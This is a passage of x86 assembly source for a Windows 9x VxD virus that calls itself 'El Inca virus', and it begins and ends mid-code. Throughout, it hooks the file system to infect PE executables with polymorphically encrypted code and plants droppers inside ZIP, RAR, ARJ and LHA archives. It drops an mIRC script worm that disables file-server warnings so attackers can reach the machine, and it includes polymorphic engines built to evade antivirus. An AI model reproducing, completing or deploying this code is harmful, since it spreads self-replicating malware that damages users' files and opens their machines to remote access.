jnz ExitNow ;recursive?
inc [OurFile]
GetPlainName:
pushad
mov ebx, offset32 FileName
mov eax, [ebp+16]
cmp al, -1
je NoDrive
add al, "@"
mov byte ptr [ebx], al ;if drive specificated,
inc ebx ;get it
mov byte ptr [ebx], ":"
inc ebx
NoDrive:
push BCS_WANSI
push 255
mov eax, [ebp+28]
mov eax, [eax+0ch]
add eax, 4
push eax
push ebx
VxDCall UniToBCSPAth ;make UNICODE a ASCII in our
add sp, 16 ;buffer
mov esi, ebx
add esi, eax
sub ebx, 2
mov byte ptr [esi], 0
push esi
mov eax, R0_FILEATTRIBUTES+GET_ATTRIBUTES
mov esi, offset32 FileName
VxDCall IFSMgr_Ring0_FileIO
mov [FileAttr], ecx ;save attributes
jc ExitCorrect
mov eax, R0_FILEATTRIBUTES+SET_ATTRIBUTES
xor ecx, ecx
mov esi, offset32 FileName
VxDCall IFSMgr_Ring0_FileIO ;kill attributes
pop esi
cmp dword ptr [esi-8], '23CR'
jne NomIRC ;we're opening MIRC32.EXE??
cmp word ptr [esi-10], 'IM'
jne NomIRC
cmp dword ptr [esi-4], 'EXE.'
jne NomIRC
DropWorm:
pushad
mov eax, R0_OPENCREAT_IN_CONTEXT
mov ebx, 2
mov cx, 01b
mov edx, 11h
mov esi, offset32 Killer ;create our payload file
VxDCall IFSMgr_Ring0_FileIO
mov ebx, eax
jc ErrorWorm
mov eax, R0_WRITEFILE
mov esi, offset32 KCode ;write payload code to it
mov ecx, KCodeSize
sub edx, edx
VxDCall IFSMgr_Ring0_FileIO
mov eax, R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO ;close it
mov eax, R0_OPENCREAT_IN_CONTEXT
mov ebx, 2
xor cx, cx
mov edx, 11h
mov esi, offset32 MircIni ;open MIRC.INI
VxDCall IFSMgr_Ring0_FileIO
mov ebx, eax
jc ErrorWorm
mov eax, R0_GETFILESIZE
VxDCall IFSMgr_Ring0_FileIO
jc ErrorWorm
mov edx, eax
mov eax, R0_WRITEFILE
mov esi, offset32 IMircIni ;set /FSERVER warnings off, so
mov ecx, InsertSize ;we can access this machine
VxDCall IFSMgr_Ring0_FileIO ;with impunity ;)
jc ErrorWorm
mov eax, R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO
mov eax, R0_OPENCREAT_IN_CONTEXT
mov ebx, 2
mov ecx, 01b
mov edx, 11h
mov esi, offset32 ScriptName2 ;create SCRIPT.NOT, to avoid
VxDCall IFSMgr_Ring0_FileIO ;build-in worm defense in
jc ErrorWorm ;mIRC
mov ebx, eax
mov eax, R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO
mov eax, R0_OPENCREAT_IN_CONTEXT
mov ebx, 2
mov ecx, 01b
mov edx, 11h ;create SCRIPT.INI
mov esi, offset32 ScriptName
VxDCall IFSMgr_Ring0_FileIO
jc ErrorWorm
mov ebx, eax
mov eax, R0_WRITEFILE
xor edx, edx
mov esi, offset32 ScriptIni ;write our inet spreading worm
mov ecx, ScriptSize ;and get ready to travel! :)
VxDCall IFSMgr_Ring0_FileIO
mov eax, R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO
mov eax, R0_OPENCREAT_IN_CONTEXT
mov ebx, 2
mov ecx, 01b
mov edx, 11h
mov esi, offset32 IncaName ;create virus dropper for inet
VxDCall IFSMgr_Ring0_FileIO ;spreading
jc ErrorWorm
mov ebx, eax
mov eax, R0_WRITEFILE
xor edx, edx
mov esi, [PolyDOSFileBuffer]
mov ecx, [PolyDOSFileSize]
VxDCall IFSMgr_Ring0_FileIO ;write dropper code
mov eax, R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO ;close it
ErrorWorm:
popad
NomIRC:
mov eax, dword ptr [esi-4]
not eax ;get extension(with little
cmp eax, not 'AHL.' ;encription to avoid lamerz)
je LHAInfect
cmp eax, not 'HZL.'
je LHAInfect
cmp eax, not 'KAP.'
je LHAInfect
cmp eax, not 'PIZ.' ;if archivers, go drop virus
je InfectZIP
cmp eax, not 'JRA.'
je InfectARJ
cmp eax, not 'RAR.'
je InfectRAR
cmp eax, not 'RCS.'
je InfectExecutableFile
cmp eax, not 'EXE.' ;if EXE or SCR, check for PE
jne ExitUnmark
InfectExecutableFile:
mov eax, R0_OPENCREATFILE
mov ebx, 2
xor cx, cx
mov edx, 11h
mov esi, offset32 FileName
VxDCall IFSMgr_Ring0_FileIO ;open probable host
mov [FileHandle], eax
jc ExitUnmark
mov ebx, eax
mov eax, R0_GETFILESIZE
VxDCall IFSMgr_Ring0_FileIO
jc ExitClose
mov [FileSize], eax
cmp eax, MINSIZEINFECT
jb ExitClose ;if too small, exit
mov eax, R0_READFILE
mov esi, offset32 CrcTab
mov ecx, 1024
xor edx, edx
VxDCall IFSMgr_Ring0_FileIO
jc ExitClose
cmp word ptr [esi], 'ZM'
je NEPECheck
cmp word ptr [esi], 'MZ'
jne ExitClose ;must be a EXE file
NEPECheck:
mov eax, [FileSize]
cmp dword ptr [esi+3ch], 0
jz ExitClose
cmp dword ptr [esi+3ch], eax ;probable PE sign in range?
ja ExitClose
InfectPE:
cmp [esi+3ch], 1024
jae ExitClose
lea eax, [esi+3ch]
add esi, [eax]
cmp dword ptr [esi], 'EP' ;must be a PE file
jne ExitClose
mov eax, R0_CLOSEFILE
mov ebx, [FileHandle]
VxDCall IFSMgr_Ring0_FileIO ;ready to infect, close file
mov ebp, 32*1024
call VxDMapFile ;map file in memory
jc ExitUnmark
call InfectPEFile ;infect it!
call VxDUnMapFile
jmp ExitUnmark ;unmap file
;this code goes inserted in
;PE filez, after the poly
PELoader: ;decription routine
call set_SEH
mov esp, [esp+8]
jmp ReturnHost ;if a fault happen, jump host
set_SEH:
xor edx, edx ;setup a SEH for us
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call PEDelta
PEDelta:
pop ebp
sub ebp, (offset32 PEDelta-offset32 PELoader)
call AnaliseKernel32 ;get GetModuleHandleA and
jc ReturnHost ;GetProcAddressA from kernel32
;export table
lea esi, [ebp+(offset32 NamePtr-offset32 PELoader)]
lea edi, [ebp+(offset32 FAdress-offset32 PELoader)]
cld
GetFunctionAdress:
lodsd
or eax, eax
jz EndTable
add eax, ebp
call MyGetProcAdress ;get RVA of all functionz we
jc ReturnHost ;need
stosd
jmp GetFunctionAdress
EndTable:
sub eax, eax
push eax
push 010b
push 2 ;create W95INCA.COM in root
push eax ;dir
push 3
push 80000000h+40000000h
lea eax, [ebp+(offset32 PEName-offset32 PELoader)]
push eax
call dword ptr [ebp+(offset32 _CreateFile-offset32 PELoader)]
mov ebx, eax
inc eax
jz ReturnHost
push 0
lea eax, [ebp+(offset32 nWrite-offset32 PELoader)]
push eax
mov eax, 12345678h
PEDOSSize equ dword ptr $-4
push eax
mov eax, ebp
add eax, offset32 PELoaderSize ;write the DOS dropper in it
push eax
push ebx
call dword ptr [ebp+(offset32 _WriteFile-offset32 PELoader)]
push ebx ;close the file
call dword ptr [ebp+(offset32 _CloseHandle-offset32 PELoader)]
push 0
lea eax, [ebp+(offset32 PEName-offset32 PELoader)]
push eax ;f0rk DOS process
call dword ptr [ebp+(offset32 _WinExec-offset32 PELoader)]
push 3000 ;have 3 seconds to run
call dword ptr [ebp+(offset32 _Sleep-offset32 PELoader)]
lea eax, [ebp+(offset32 PEName-offset32 PELoader)]
push eax ;delete the dropper
call dword ptr [ebp+(offset32 _DeleteFile-offset32 PELoader)]
ReturnHost:
xor edx, edx
pop dword ptr fs:[edx]
pop edx
mov eax, 12345678h ;set base
LoadBase equ dword ptr $-4
add eax, 12345678h
OldIP equ dword ptr $-4 ;add host entry_point
push eax
ret
AnaliseKernel32:
mov edx, 0bff70000h ;base of KERNEL32 in win95/98
mov eax, edx
mov ebx, eax
add eax, [eax+3ch]
add ebx, [eax+120]
lea eax, [ebp+(offset32 gmh-offset32 PELoader)]
;string is 17 bytes long
mov [ebp+(offset32 szSearch-offset32 PELoader)], 17
;and setup pointer
mov [ebp+(offset32 strSearch-offset32 PELoader)], eax
call SearchET ;search export tabel for it
jc a_error
mov dword ptr [ebp+(offset32 pGetModuleHandle-offset32 PELoader)], eax
lea eax, [ebp+(offset32 gpa-offset32 PELoader)]
;string is 15 bytes long
mov [ebp+(offset32 szSearch-offset32 PELoader)], 15
;and setup pointer
mov [ebp+(offset32 strSearch-offset32 PELoader)], eax
call SearchET
jc a_error
mov dword ptr [ebp+(offset32 pGetProcAdress-offset32 PELoader)], eax
lea eax, [ebp+(offset32 kernel-offset32 PELoader)]
push eax
mov eax, [ebp+(offset32 pGetModuleHandle-offset32 PELoader)]
call eax ;get KERNEL32 module
mov dword ptr [ebp+(offset32 pKernel32Adress-offset32 PELoader)], eax
a_error:
ret
MyGetProcAdress:
push eax
push dword ptr [ebp+(offset32 pKernel32Adress-offset32 PELoader)]
mov eax, [ebp+(offset32 pGetProcAdress-offset32 PELoader)]
call eax
or eax, eax ;call GetProcAddress to get
jz GPAError ;all RVA we need
test al, 12h
org $-1 ;the good'n'old trick again ;)
GPAError:
stc
ret
SearchET:
mov eax, [ebx+32] ;search export table of
add eax, edx ;KERNEL32, searching the
ff:
mov esi, [eax] ;the names, then the ordinal
or esi, esi ;and, finally the RVA pointerz
jz fuck
add esi, edx
mov edi, 12345678h
strSearch equ dword ptr $-4
mov ecx, 12345678h
szSearch equ dword ptr $-4
rep cmpsb
jz found
add eax, 4
jmp ff
found:
sub eax, [ebx+32]
sub eax, edx
shr eax, 1
add eax, [ebx+36]
add eax, edx
movzx eax, word ptr [eax]
shl eax, 2
add eax, [ebx+28]
add eax, edx
mov eax, [eax]
add eax, edx
mov cl, 12h
org $-1
fuck:
stc
ret
kernel db 'KERNEL32', 0
nWrite dd 0
pGetProcAdress dd 0
pGetModuleHandle dd 0
pKernel32Adress dd 0bff70000h
gpa db 'GetProcAddress', 0
gmh db 'GetModuleHandleA', 0
sCreateFile db 'CreateFileA', 0
sWriteFile db 'WriteFile', 0
sCloseHandle db 'CloseHandle', 0
sWinExec db 'WinExec', 0
sDeleteFile db 'DeleteFileA', 0
sSleep db 'Sleep', 0
NamePtr equ this byte
dd (offset32 sCreateFile-offset32 PELoader)
dd (offset32 sWriteFile-offset32 PELoader)
dd (offset32 sCloseHandle-offset32 PELoader)
dd (offset32 sWinExec-offset32 PELoader)
dd (offset32 sDeleteFile-offset32 PELoader)
dd (offset32 sSleep-offset32 PELoader)
dd 0
PEName db 'C:\W95INCA.COM', 0
FAdress equ this byte
_CreateFile dd 0
_WriteFile dd 0
_CloseHandle dd 0
_WinExec dd 0
_DeleteFile dd 0
_Sleep dd 0
PELoaderEnd equ this byte
PELoaderSize equ offset32 PELoaderEnd - offset32 PELoader
InfectPEFile:
mov ebp, [esi+3ch] ;esi point to maped base
add ebp, esi ;ebp point to PE header
mov eax, 12345678h
cmp dword ptr [ebp+58h], eax ;is already infected?
mov dword ptr [ebp+58h], eax
je PE_done
mov eax, dword ptr [ebp+52]
cmp eax, 400000h ;normal base for appz
mov [LoadBase], eax
jne PE_done
movzx eax, word ptr [ebp+4h]
test eax, 2000h ;not infect DLL
jnz PE_done
movzx ecx, word ptr [ebp+6] ;numba of sectionz
mov eax, 40
sub edx, edx
mul ecx
add eax, ebp
add eax, 24
movzx ecx, word ptr [ebp+20] ;header size
add eax, ecx
mov edi, eax ;edi point to free entry
mov edx, eax
mov ecx, 40
sub eax, eax
repz scasb ;is really a free entry?
jnz PE_done
inc word ptr [ebp+6] ;inc number of sectionz
call rnd ;make new name
and eax, 11b
add eax, 4
mov ecx, eax
mov edi, edx
mName:
call rnd ;random letter for a random
and eax, 01111b ;name
add al, 'A'
stosb
loop mName
mov edi, edx
mov dword ptr [edi+36], 0e0000040h ;set section attribz
mov eax, [edi-40+12] ;prev virtual address
add eax, [edi-40+08] ;prev virtual size
call ObjAlign
mov [edi+12], eax ;virtual address
mov eax, [edi-40+16] ;prev offset to data
add eax, [edi-40+20] ;prev size of data
call FileAlign
mov [edi+20], eax ;offset to data
push eax
mov eax, [PolyPESize]
add eax, [totsize]
push eax
call ObjAlign
mov [edi+8], eax
add [ebp+80], eax
pop eax
call FileAlign
mov [edi+16], eax
mov eax, [edi+12]
mov ebx, [ebp+28h]
mov [ebp+28h], eax
mov [OldIP], ebx
mov eax, [edi+20]
add eax, [edi+16]
mov [VMF_size], eax
pop edi
add edi, [VMF_base]
mov esi, [PolyPEBuffer]
mov ecx, [PolyPESize]
rep movsb ;zopy PE poly to end of file
mov ecx, 30000h
call AllocMemory
push eax
push edi
push eax
mov edi, eax
mov esi, offset32 PELoader ;copy the PE loader
mov ecx, PELoaderSize
rep movsb
mov esi, [PolyDOSFileBuffer]
mov ecx, [PolyDOSFileSize]
rep movsb ;and the DOS loader
pop esi
pop edi
call encript_pe ;encript virus code
pop eax
call DeAllocMemory
inc dword ptr [VMF_sucess] ;is infected!
PE_done:
ret
ObjAlign:
mov ecx, [ebp+56]
jmp AlignThis
FileAlign:
mov ecx, [ebp+60]
AlignThis:
xor edx, edx
div ecx
or edx, edx
jz sAlign ;dont waste aligns when isnt
inc eax ;need
sAlign:
mul ecx
ret
LHAInfect:
bt [FileAttr], 0
jc ExitUnmark ;if read-only, exit
call PreparateDropper ;(is our marker)
dec ebp
mov edi, offset32 LHAFilename
call Random4Name ;create random name
mov ecx, [PolyDOSFileSize]
mov [LHACompressedSize], ecx
mov [LHAUncompressedSize], ecx
mov eax, R0_READFILE
mov ecx, 2
mov edx, 3
mov esi, offset32 Pad
VxDCall IFSMgr_Ring0_FileIO
jc ExitFree
xor eax, eax
xchg word ptr [esi], ax
cmp ax, 'hl'
jne ExitFree ;is really a LHA/LHZ shit?
xor ebx, ebx
mov ecx, LHAHeaderSize-2
mov esi, offset32 LHAMethod
CheckSumLoop:
lodsb
add bl, al
loop CheckSumLoop ;funny header checksum loop
mov [LHAHeaderCRC], bl
mov eax, R0_WRITEFILE
mov ebx, [FileHandle]
mov ecx, LHAHeaderSize
mov esi, offset32 LHASig
mov edx, ebp
add ebp, ecx
VxDCall IFSMgr_Ring0_FileIO
mov eax, R0_WRITEFILE
mov ecx, [PolyDOSFileSize]
mov edx, ebp
add ebp, ecx
mov esi, [BufferOneHandle]
VxDCall IFSMgr_Ring0_FileIO ;write it
mov eax, R0_WRITEFILE
mov ecx, 1
mov edx, ebp
mov esi, offset32 Pad
VxDCall IFSMgr_Ring0_FileIO
jmp ExitRO
InfectZIP:
bt [FileAttr], 0
jc ExitUnmark
call PreparateDropper ;create dropper
mov [ZIPRCRC32], eax
mov [ZIPLCRC32], eax
mov ecx, [PolyDOSFileSize]
mov [ZIPRCompressed], ecx
mov [ZIPRUncompressed], ecx ;set some ZIP stuff
mov [ZIPLCompressed], ecx
mov [ZIPLUncompressed], ecx
mov edi, offset32 ZIPRFileName
call Random4Name ;random name
mov eax, dword ptr [ZIPRFileName]
mov dword ptr [ZIPLFilename], eax
mov eax, R0_READFILE
mov ecx, ZIPEHeaderSize
sub ebp, ecx
mov edx, ebp
mov esi, offset32 ZIPReadBuffer
VxDCall IFSMgr_Ring0_FileIO
jc ExitFree
cmp word ptr [ZIPEHeaderId], 'KP' ;is a ZIP
marker
jne ExitFree
cmp word ptr [ZIPSignature], 0605h
jne ExitFree
cmp dword ptr [ZIPNoDisk], 0
jnz ExitFree
inc word ptr [ZIPEntryDisk]
inc word ptr [ZIPEntrysDir]
add dword ptr [ZIPSizeDir], ZIPRHeaderSize
mov eax, [ZIPOffsetDir]
mov [ZIPROffsetLHeaderR], eax
mov ebp, eax
mov ecx, [ZIPSizeDir]
call AllocMemory
jz ExitFree
mov [BufferTwoHandle], eax
mov esi, eax
mov eax, R0_READFILE
mov ecx, [ZIPSizeDir]
mov edx, ebp
VxDCall IFSMgr_Ring0_FileIO ;read tonz of headers and
jc ExitDealloc ;write they back after
cld ;modificationz
mov ecx, ZIPRHeaderSize ;(ZIP really sux)
mov edi, [BufferTwoHandle]
add edi, [ZIPSizeDir]
sub edi, ecx
mov esi, offset32 ZIPRHeaderId
rep movsb
mov eax, R0_WRITEFILE
mov ecx, offset32 ZIPReadBuffer-offset32 ZIPLHeaderId
mov edx, ebp
add ebp, ecx
mov esi, offset32 ZIPLHeaderId
VxDCall IFSMgr_Ring0_FileIO
jc ExitDealloc
mov eax, R0_WRITEFILE
mov ecx, [PolyDOSFileSize]
mov edx, ebp
add ebp, ecx
mov [ZIPOffsetDir], ebp
mov esi, [BufferOneHandle]
VxDCall IFSMgr_Ring0_FileIO
jc ExitDealloc
mov eax, R0_WRITEFILE
mov ecx, [ZIPSizeDir]
mov edx, ebp
add ebp, ecx
mov esi, [BufferTwoHandle]
VxDCall IFSMgr_Ring0_FileIO
jc ExitDealloc
mov eax, R0_WRITEFILE
mov ecx, ZIPEHeaderSize
mov edx, ebp
mov esi, offset32 ZIPReadBuffer
VxDCall IFSMgr_Ring0_FileIO
ExitDealloc:
mov eax, [BufferTwoHandle]
call DeallocMemory
jmp ExitRO
InfectRAR:
bt [FileAttr], 0
jc ExitUnmark ;bahh... the same shit, but
call PreparateDropper ;this time for RAR
mov [RARFileCRC], eax
mov edi, offset32 RARFileName
call Random4Name
mov ecx, [PolyDOSFileSize]
mov [RARCompressedSize], ecx
mov [RARUncompressedSize], ecx
mov eax, R0_READFILE
mov ecx, 4
xor edx, edx
mov esi, offset32 Pad
VxDCall IFSMgr_Ring0_FileIO
jc ExitFree
cmp [esi], '!raR'
jne ExitFree
mov esi, offset32 RARHeaderType
mov edi, offset32 RARHeaderEnd-offset32 RARHeaderType
call CRC32
mov [RARHeaderCRC], cx
mov eax, R0_WRITEFILE
mov ecx, offset32 RARHeaderEnd-offset32 RARHeaderCRC
mov esi, offset32 RARHeaderCRC
mov edx, ebp
add ebp, ecx
VxDCall IFSMgr_Ring0_FileIO
mov eax, R0_WRITEFILE
mov ecx, [PolyDOSFileSize]
mov edx, ebp
mov esi, [BufferOneHandle]
VxDCall IFSMgr_Ring0_FileIO
jmp ExitRO
InfectARJ:
bt [FileAttr], 0
jc ExitUnmark
call PreparateDropper ;uhh... again for ARJ
sub ebp, 4
mov [ARJFileCRC], eax ;(i only do this because there
mov edi, offset32 ARJFilename ;stupid peoples that run new
call Random4Name ;strange filez)
mov ecx, [PolyDOSFileSize]
mov [ARJCompressedSize], ecx
mov [ARJUncompressedSize], ecx
mov eax, R0_READFILE
mov ecx, 2
xor edx, edx
mov esi, offset32 Pad
VxDCall IFSMgr_Ring0_FileIO
jc ExitFree
cmp word ptr [esi], 0ea60h
jne ExitFree
mov edi, offset32 ARJHeaderCRC-offset32 ARJ1HeaderSize
mov esi, offset32 ARJ1HeaderSize
call CRC32
mov [ARJHeaderCRC], eax
mov eax, R0_WRITEFILE
mov ecx, offset32 ARJEnd-offset32 ARJHeaderId
mov esi, offset32 ARJHeaderId
mov edx, ebp
add ebp, ecx
VxDCall IFSMgr_Ring0_FileIO
jc ExitFree
mov eax, R0_WRITEFILE
mov ecx, [PolyDOSFileSize]
mov edx, ebp
add ebp, ecx
mov esi, [BufferOneHandle]
VxDCall IFSMgr_Ring0_FileIO
jc ExitFree
mov eax, R0_WRITEFILE
mov ecx, 4
mov edx, ebp
mov esi, offset32 ARJEnd
VxDCall IFSMgr_Ring0_FileIO
ExitRO:
or [FileAttr], 01b ;set inf marker(avoid lame
ExitFree: ;AVs like TBCLEAN, that cant
mov eax, [BufferOneHandle] ;clean r-o file)
call DeAllocMemory
ExitClose:
mov eax, R0_CLOSEFILE
mov ebx, [FileHandle]
VxDCall IFSMgr_Ring0_FileIO
ExitUnmark:
mov eax, R0_FILEATTRIBUTES+SET_ATTRIBUTES
mov ecx, [FileAttr]
mov esi, offset32 FileName
VxDCall IFSMgr_Ring0_FileIO ;restore attribz
popad
ExitCorrect:
mov [OurFile], 0
ExitNow:
mov eax, [ebp+28]
push eax
mov eax, [ebp+24]
push eax
mov eax, [ebp+20]
push eax
mov eax, [ebp+16]
push eax
mov eax, [ebp+12]
push eax
mov eax, [ebp+8]
push eax
mov eax, [nexthook]
call [eax] ;continue next caller
add esp, 20h
leave
ret
EndProc FONO98_File_System
db 13d, 'El Inca virus', 13d ;yeahh... this is the name
BeginProc PreparateDropper
mov eax, R0_OPENCREATFILE
mov ebx, 2
xor cx, cx ;used for archivers infection
mov edx, 11h
mov esi, offset32 FileName
VxDCall IFSMgr_Ring0_FileIO
mov [FileHandle], eax ;here we get the size of file
mov ebx, eax ;copy some shitz and calculate
jc ExitUnmark ;crc16 and crc32
mov eax, R0_GETFILESIZE
VxDCall IFSMgr_Ring0_FileIO
jc ExitClose
mov ebp, eax
cld
mov ecx, [PolyDOSFileSize]
call AllocMemory ;alloc memory for loader
jz ExitClose ;and vxd
mov [BufferOneHandle], eax
mov edi, eax
mov esi, [PolyDOSFileBuffer]
mov ecx, [PolyDOSFileSize]
push ecx
rep movsb ;zopi loader
pop ecx
push ecx
mov esi, [BufferOneHandle]
push esi
call CRC16
mov [LHACRC16], ax ;only LHZ use crc16
pop esi
pop edi
call CRC32 ;crc32 returned in eax for
ret ;otherz
EndProc PreparateDropper
BeginProc VxDMapFile
mov eax, R0_OPENCREATFILE ;hey... i also have a map
mov ebx, 2 ;file function... ;)
xor ecx, ecx
mov [VMF_sucess], ecx
mov edx, 11h
mov esi, offset32 FileName
VxDCall IFSMgr_Ring0_FileIO
mov [VMF_handle], eax
jc VMF_ret
mov ebx, eax
mov eax, R0_GETFILESIZE
VxDCall IFSMgr_Ring0_FileIO
mov [VMF_size], eax
jc VMF_close
push eax
mov ecx, eax
add ecx, ebp ;alloc enought memory for
call AllocMemory ;file and workspace
mov [VMF_base], eax
mov esi, eax
pop ecx
jz VMF_close
mov eax, R0_READFILE
xor edx, edx ;map it out!
VxDCall IFSMgr_Ring0_FileIO
jc VMF_free
VMF_ret:
ret
EndProc VxDMapFile
BeginProc VxDUnMapFile
mov ecx, 12345678h
VMF_sucess equ dword ptr $-4
jecxz VMF_close ;should we update it?
mov eax, R0_WRITEFILE
mov ecx, [VMF_size]
sub edx, edx
mov ebx, [VMF_handle]
mov esi, [VMF_base] ;write infected PE
VxDCall IFSMgr_Ring0_FileIO
VMF_close:
mov eax, R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO ;close it
VMF_free:
mov eax, [VMF_base]
call DeAllocMemory ;free allocated memory
ret
EndProc VxDUnMapFile
BeginProc AllocMemory
push ecx
push HEAPSWAP+HEAPZEROINIT
push ecx
VMMCall _HeapAllocate ;memory allocation routine
add sp, 8
or eax, eax
pop ecx
ret
EndProc AllocMemory
BeginProc DeAllocMemory
push 0
push eax
VMMCall _HeapFree
add sp, 8
ret
EndProc DeAllocMemory
BeginProc CRC32
cld
push ebx
mov ecx, -1 ;look at this!!!!
mov edx, ecx
NextByteCRC:
xor eax, eax ;our crc32 dont need huge
xor ebx, ebx ;tables or shit like...
lodsb
xor al, cl ;all calculated at runtime
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
NextBitCRC:
shr bx, 1
rcr ax, 1
jnc NoCRC
xor ax, 08320h
xor bx, 0edb8h
NoCRC:
dec dh
jnz NextBitCRC
xor ecx, eax
xor edx, ebx
dec di
jnz NextByteCRC
not edx
not ecx
pop ebx
mov eax, edx
rol eax, 16
mov ax, cx ;thx2zenghxi
ret
EndProc CRC32
VIRSIZE equ 4000H
gldr:
cld ;our 16bit poly engine
mov [pDOSBase], esi ;designed for boot and dropperz
mov edi, offset32 rgtbl
sub edx, edx
mov ebx, edx
push edi
mov eax, edx
mov dword ptr [edi-4], eax
mov ecx, 8
rep stosw ;init regz mirrors
pop edi
xchg esi, edi
mov byte ptr [opcode1], 0b8h
mov byte ptr [opcode2], 89h
mov word ptr [_sp], -1
mov byte ptr [gtype], gfl
@a1:
mov ecx, 8
call creg
call gopc
push edi
mov edi, esi
sub eax, eax
repnz scasw ;all regz initialized?
pop edi
jz @a1
call rnd
and eax, 011111b
adc eax, 8
mov ecx, eax
@a2:
call garble ;create some junk
loop @a2
cmp byte ptr [maq], 0
jne maqfile
mov eax, 00000202h ;floppy paramz
mov ebx, 0001000fh ;hi=reg
mov edx, 00020100h ;lo=value
mov ebp, 00037e00h
call mxrg ;mix order
mov byte ptr [gtype], gnf
push eax
push ebx
push edx
push ebp
mov ecx, 4
@a8:
xor eax, eax
mov edx, eax
pop ax
pop dx
bts word ptr [rgusg], dx
call mrval
push ecx
call rnd
and eax, 0111b
inc eax
mov ecx, eax
@a9:
call garble ;garble a bit more
loop @a9
pop ecx
loop @a8
mov ax, 013cdh ;int 13
stosw
mov byte ptr [gtype], gfl
mov word ptr [rgusg], 1000b
call mgarble
mov al, 06 ;push es
stosb
call mgarble
mov al, 53h ;push bx
stosb
call mgarble
mov al, 0cbh ;retf
stosb
ret
mgarble:
push ecx
call rnd
and eax, 0111b
inc eax
mov ecx, eax ;1-8 garbage calls
@b9:
call garble
loop @b9
pop ecx
ret
maqfile:
mov byte ptr [gtype], gnf
@c0:
call rnd
or al, al
jz @c0
mov byte ptr [key], al
call creg
mov byte ptr [cntreg], dl
bts word ptr [rgusg], dx
call rnd
and eax, 0111111111111b
add ax, word ptr [esi+edx*2]
add ax, VIRSIZE
mov word ptr [cntregv], ax
@c1:
call rnd
and eax, 011b
add al, al
add eax, offset32 crtbl
mov ax, word ptr [eax]
movzx edx, ah
bts word ptr [rgusg], dx
jc @c1
mov byte ptr [pntreg], dl
mov byte ptr [encintr], al
mov ax, word ptr [esi+edx*2]
mov word ptr [pntregv], ax
mov dword ptr [strloop], edi
call mgarble
mov al, 80h
mov ah, byte ptr [encintr]
stosw
push edi
stosw
mov al, byte ptr [key]
stosb
call mgarble
mov al, 040h
or al, byte ptr [pntreg]
stosb
call mgarble
mov al, 040h
or al, byte ptr [cntreg] ;inc counter
stosb
call mgarble
mov ax, 0f881h
or ah, byte ptr [cntreg]
stosw
mov ax, word ptr [cntregv]
stosw
mov ax, 0074h
stosw
push edi
call mgarble
mov al, 0e9h
stosb
mov eax, edi
sub eax, dword ptr [strloop]
add eax, 2
neg eax
stosw
call mgarble
pop ebp
mov ecx, edi
sub ecx, ebp
mov byte ptr [ebp-1], cl
call mgarble
call mgarble
mov word ptr [rgusg], 0
pop ebp
mov ecx, edi
sub ecx, [pDOSBase]
add ecx, 100h
movzx eax, word ptr [pntregv]
sub ecx, eax
mov word ptr [ebp], cx
ret
mxrg:
push eax
call rnd
and eax, 0111b
inc eax
mov ecx, eax
pop eax
@c3:
call rndf
jc @c4
xchg eax, ebx ;randomize order
@c4:
call rndf
jc @c5
xchg ebx, edx
@c5:
call rndf
jc @c6
xchg edx, ebp
@c6:
call rndf
jc @c7
xchg ebp, eax
@c7:
loop @c3
ret
garble:
cmp [maq], 0
je artm
call rnd
and eax, 0111b
cmp eax, 0111b
jne artm
push ecx ;make a jump
call rnd
and eax, 0111b
add eax, 4
mov ecx, eax
mov ah, 0ebh
xchg al, ah
stosw
ngrb:
call rnd
stosb
loop ngrb
pop ecx
ret
artm:
mov ebx, offset32 optbl
@d1:
call rnd
and eax, 0111b
gtype equ byte ptr $-1
gfl = 0111b
gnf = 0011b
cmp al, 5
ja @d1
add al, al
mov ax, word ptr [ebx+eax] ;make aritm
mov byte ptr [opcode1], ah
mov byte ptr [opcode2], al
call creg
call gopc
ret
creg:
call rnd
and eax, 0111b
cmp al, 4
jne @e1
inc al
@e1:
mov dl, al
bt word ptr [rgusg], dx ;used
jc creg
ret
gopc:
mov bl, 12h
opcode1 equ byte ptr $-1
mov al, 81h
cmp bl, 0c0h
jb @f1
stosb
@f1:
mov al, bl
or al, dl
stosb
call rnd
stosw
mov bx, ax
mov ax, word ptr [flags]
sahf ;look this!
opcode2 equ byte ptr $+1 ;the decriptor depends
mov word ptr [esi+edx*2], bx ;of the garbage code!
lahf ;we keep track of all, regs
mov word ptr [flags], ax ;and flags!!!! :)
ret
mrval:
push eax
call rnd
and eax, 011b ;ask a value... we make it
or eax, eax ;(in the requested reg) using
jz @g1 ;math and the current garbage
dec eax ;status! no more fixed movs :)
@g1:
add al, al
movzx eax, word ptr [offset32 fxtbl+eax]
or al, dl
xchg al, ah
mov byte ptr [opcode3], al
mov al, 81h
stosw
cmp byte ptr [opcode3], 3 ;(as you noticed, i'm very
pop eax ;proud of this engine)
jnz @g2
neg eax
@g2:
movzx ebx, word ptr [esi+edx*2]
jmp @g3
@g3:
xor eax, ebx
opcode3 equ byte ptr $-2 ;xor/add/sub
stosw
ret
rnd:
push ecx
push edx
mov eax, 12345678h ;congruential something... :)
seed equ dword ptr $-4
mov ecx, eax
imul eax, 41c64e6dh
add eax, 3039h ;thankz to GriYo...
ror ax, 1 ;(do you not imagine how hard
mov dword ptr [seed], eax ;is code a decent rnd routine)
xor eax, ecx
pop edx
pop ecx
ret
rndf:
push eax
call rnd
pop eax
bt eax, 1 ;random z flag
ret
pDOSBase dd 0
maq db 0
key db 0
strloop dd 0
cntregv dw 0
cntreg db 0
pntregv dw 0
pntreg db 0
encintr db 0
optbl dw 0b889h, 0f031h, 0c001h, 0e829h, 0d011h, 0d819h
; MOV XOR ADD SUB ADC SBB
fxtbl dw 033f0h, 02bc0h, 003e8h
; XOR ADD SUB
crtbl dw 03b7h, 05b6h, 06b4h, 07b5h
flags dw 0
rgusg dw 0
rgtbl equ this byte
_ax dw 0
_cx dw 0
_dx dw 0
_bx dw 0
_sp dw 0
_bp dw 0
_si dw 0
_di dw 0
PolyDOSSize equ $ - offset32 gldr
peng:
push edi ;our 32bit poly engine
push edi
mov [totsize], ecx
cld
mov edi, offset32 crptbl
mov ecx, 101h
sub edx, edx
tlp:
mov byte ptr [edi+edx], dl
inc edx
loop tlp ;make linear table of values
mov edi, offset32 crptbl
mov ecx, 01111b
tlp2:
